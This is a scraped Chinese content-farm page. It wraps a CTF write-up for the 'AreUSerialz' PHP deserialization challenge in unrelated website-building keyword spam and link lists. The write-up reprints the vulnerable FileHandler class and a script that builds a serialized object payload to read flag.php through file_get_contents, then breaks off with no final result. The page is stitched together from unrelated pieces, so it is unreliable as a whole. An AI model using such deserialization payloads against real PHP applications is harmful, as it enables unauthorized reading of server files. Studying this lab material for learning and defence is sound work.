当前位置: 首页 > news >正文

辽宁省住建厅建设网站百度云服务器官网

辽宁省住建厅建设网站,百度云服务器官网,竭诚网络网站建设公司,武汉建网站的公司导言&#xff1a; 本文主要讲述在CTF竞赛网鼎杯中&#xff0c;web类题目AreUSerialz。 靶场链接&#xff1a;BUUCTF在线评测 一&#xff0c;分析代码。 看到了一大段php代码。 <?php// 引入flag.php文件 include("flag.php");// 高亮显示当前文件 highlight…

  导言:

本文主要讲述在CTF竞赛网鼎杯中,web类题目AreUSerialz。

靶场链接:BUUCTF在线评测

一,分析代码。

看到了一大段php代码。

<?php// 引入flag.php文件
include("flag.php");// 高亮显示当前文件
highlight_file(__FILE__);// 定义FileHandler类
class FileHandler {// 定义属性protected $op;protected $filename;protected $content;// 构造函数function __construct() {// 初始化属性$op = "1";$filename = "/tmp/tmpfile";$content = "Hello World!";// 调用process方法$this->process();}// 处理方法public function process() {// 根据op属性的值,调用不同的方法if($this->op == "1") {$this->write();} else if($this->op == "2") {$res = $this->read();$this->output($res);} else {$this->output("Bad Hacker!");}}// 写入文件方法private function write() {// 判断filename和content属性是否存在if(isset($this->filename) && isset($this->content)) {// 判断content属性的长度是否超过100if(strlen((string)$this->content) > 100) {$this->output("Too long!");die();}// 调用file_put_contents函数将content属性写入filename属性指定的文件$res = file_put_contents($this->filename, $this->content);// 判断写入是否成功if($res) $this->output("Successful!");else $this->output("Failed!");} else {$this->output("Failed!");}}// 读取文件方法private function read() {$res = "";// 判断filename属性是否存在if(isset($this->filename)) {// 调用file_get_contents函数读取filename属性指定的文件内容$res = file_get_contents($this->filename);}return $res;}// 输出方法private function output($s) {echo "[Result]: <br>";echo $s;}// 析构函数function __destruct() {// 如果op属性的值为2,则将其改为1。if($this->op === "2")$this->op = "1";// 将content属性置空$this->content = "";// 调用process方法$this->process();}}// 定义is_valid函数,判断字符串是否合法
function is_valid($s) {for($i = 0; $i < strlen($s); $i++)if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))return false;return true;
}// 判断是否存在GET参数str
if(isset($_GET{'str'})) {// 获取GET参数str的值$str = (string)$_GET['str'];// 判断str是否合法if(is_valid($str)) {// 反序列化str$obj = unserialize($str);}}

可以知道:

1,这是一个反序列化题目。

2,使用get传参,传参名为:str。

3,flag在flag.php内。

4,代码中使用了is_valid函数来验证输入字符串的合法性,即传入的str的每个字母的ascii值在32和125之间。

5,根据其中的:

得知传参格式。

二,构造payload。

根据代码内的:

protected $op;protected $filename;protected $content;

可以知道,payload为:

<?phpclass FileHandler  {public  $op = 2;   //根据题意进行的传参public  $filename = "flag.php";public  $content = "2";     }$q = new FileHandler();     //对其进行反序列化操作        
echo(serialize($q));?>

输出结果为:

?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:1:"2";}

使用hackbar进行传参后:

并无回显。

查看页面源码发现:

http://www.hkea.cn/news/983675/

相关文章:

  • 网站栏目怎么做单独的搜索框云南疫情最新消息
  • 独立商城b2c电商网站开发合肥百度seo代理
  • 做购物网站需不需要交税费郑州网站托管
  • 是不是做网站就能赚钱谷歌seo关键词优化
  • 萝岗门户网站建设今日重大新闻头条财经
  • 个人相册网站模板怎么把网站排名排上去
  • 建设外贸网站案例统计站老站长推荐草莓
  • 1688网站的特点全网营销系统
  • 西安做网站企业网址怎么申请
  • 专业网站建设品牌百度指数里的资讯指数是什么
  • 做网站规避什么网站制作
  • 网站开发工作方案2022拉人头最暴利的app
  • 网站建设好还是阿里巴巴好磁力猫torrent kitty
  • wordpress跨域访问前端优化网站
  • 住房和城乡建设部网站买卖合同北京中文seo
  • WordPress自己安装了插件深圳seo推广外包
  • 建立网站舆情分析报告范文
  • wordpress 空格 插件班级优化大师app
  • 成都有实力的网站建设网络培训心得
  • 中企高呈建设网站在百度怎么创建自己的网站
  • 女的和女的做那个视频网站怎么在网上做网络营销
  • 网站开发需要什么软件百度怎样发布作品
  • 专门做宠物食品的网站市场调研怎么做
  • 兰州网站建设q.479185700棒成年s8视频加密线路
  • 付费网站推广seo关键词排名优化怎么收费
  • 网站由那些组成google网页搜索
  • 对一个网站做性能测试谷歌paypal官网入口
  • 北京住房投资建设中心网站首页快速排名怎么做
  • 中国网站制作 第一个佛山网站优化
  • thinkphp做的教育网站微商引流推广